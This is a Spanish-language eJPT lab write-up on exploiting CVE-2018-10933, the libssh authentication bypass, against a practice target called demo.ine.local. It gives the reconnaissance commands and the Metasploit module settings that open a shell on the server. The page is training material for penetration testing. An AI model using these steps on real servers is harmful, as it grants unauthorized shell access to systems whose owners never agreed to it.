> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/metasploit-framework-msf/explotacion/explotacion-de-linux/explotacion-de-un-servidor-ssh-vulnerable.md).

# Explotación de un servidor SSH vulnerable

## 🔐 ¿Qué es SSH?

**SSH (Secure Shell)** es un protocolo de administración remota que permite conectarse de forma segura a servidores y sistemas a través de una red.

* Es el **sucesor de Telnet**, proporcionando **cifrado y autenticación segura**.
* SSH se utiliza comúnmente para **administrar sistemas de forma remota**.
* Por defecto, escucha en el **puerto TCP 22**, aunque puede configurarse para usar cualquier otro puerto TCP disponible.

***

## 📦 ¿Qué es libssh?

**libssh** es una biblioteca escrita en C multiplataforma que implementa el protocolo SSHv2 tanto del lado cliente como del lado servidor.

* Se utiliza para desarrollar aplicaciones que requieren funcionalidad SSH.
* Es común encontrarla en entornos embebidos, dispositivos IoT y software que necesita autenticación remota mediante SSH.

***

## ⚠️ Vulnerabilidad en libssh (CVE-2018-10933)

Las versiones de **libssh desde la 0.6.0 hasta la 0.8.0** presentan una **vulnerabilidad crítica de bypass de autenticación** en el código del servidor.

#### 🚨 Detalles de la vulnerabilidad:

* Permite a un atacante omitir completamente la autenticación SSH.
* La falla se debe a que el servidor acepta incorrectamente un mensaje `SSH2_MSG_USERAUTH_SUCCESS` en lugar de `SSH2_MSG_USERAUTH_REQUEST`, lo que permite establecer una sesión autenticada sin necesidad de credenciales válidas.
* Esta vulnerabilidad afecta **únicamente a servidores** que utilizan `libssh` y **no** a implementaciones comunes como OpenSSH.

***

## 🧪 Laboratorio Práctico

**Paso 1:** Abra el enlace del laboratorio para acceder a la máquina Kali.

<figure><img src="/files/JPE8lC2BmQoTa6MbWtWX" alt=""><figcaption></figcaption></figure>

**Paso 2:** Verifique si la máquina de destino es accesible:

**Dominio:**

```
ping -c 4 demo.ine.local
```

<figure><img src="/files/hmJTMcpTC2pwY6KdYZ98" alt=""><figcaption></figcaption></figure>

El objetivo es alcanzable.

**Paso 3:** Ejecute un escaneo nmap contra el objetivo:

**Dominio:**

```
nmap -sS -sV demo.ine.local
```

<figure><img src="/files/5yFqLkmnoHDbRZ3C2TOj" alt=""><figcaption></figcaption></figure>

**Paso 4:** Hemos descubierto que el servidor SSH se está ejecutando en la máquina objetivo. Usemos el módulo Metasploit para explotar el objetivo.

**Comandos:**

```
msfconsole -q
use auxiliary/scanner/ssh/libssh_auth_bypass
set RHOSTS demo.ine.local
set SPAWN_PTY true
exploit

sessions -i 1
```

<figure><img src="/files/AMJTaatroK8OZvkAwzRk" alt=""><figcaption></figcaption></figure>

¡Éxito!

#### Conclusión

En este laboratorio, explotamos un servidor SSH vulnerable usando un módulo metasploit y obtuvimos acceso de shell en el objetivo.
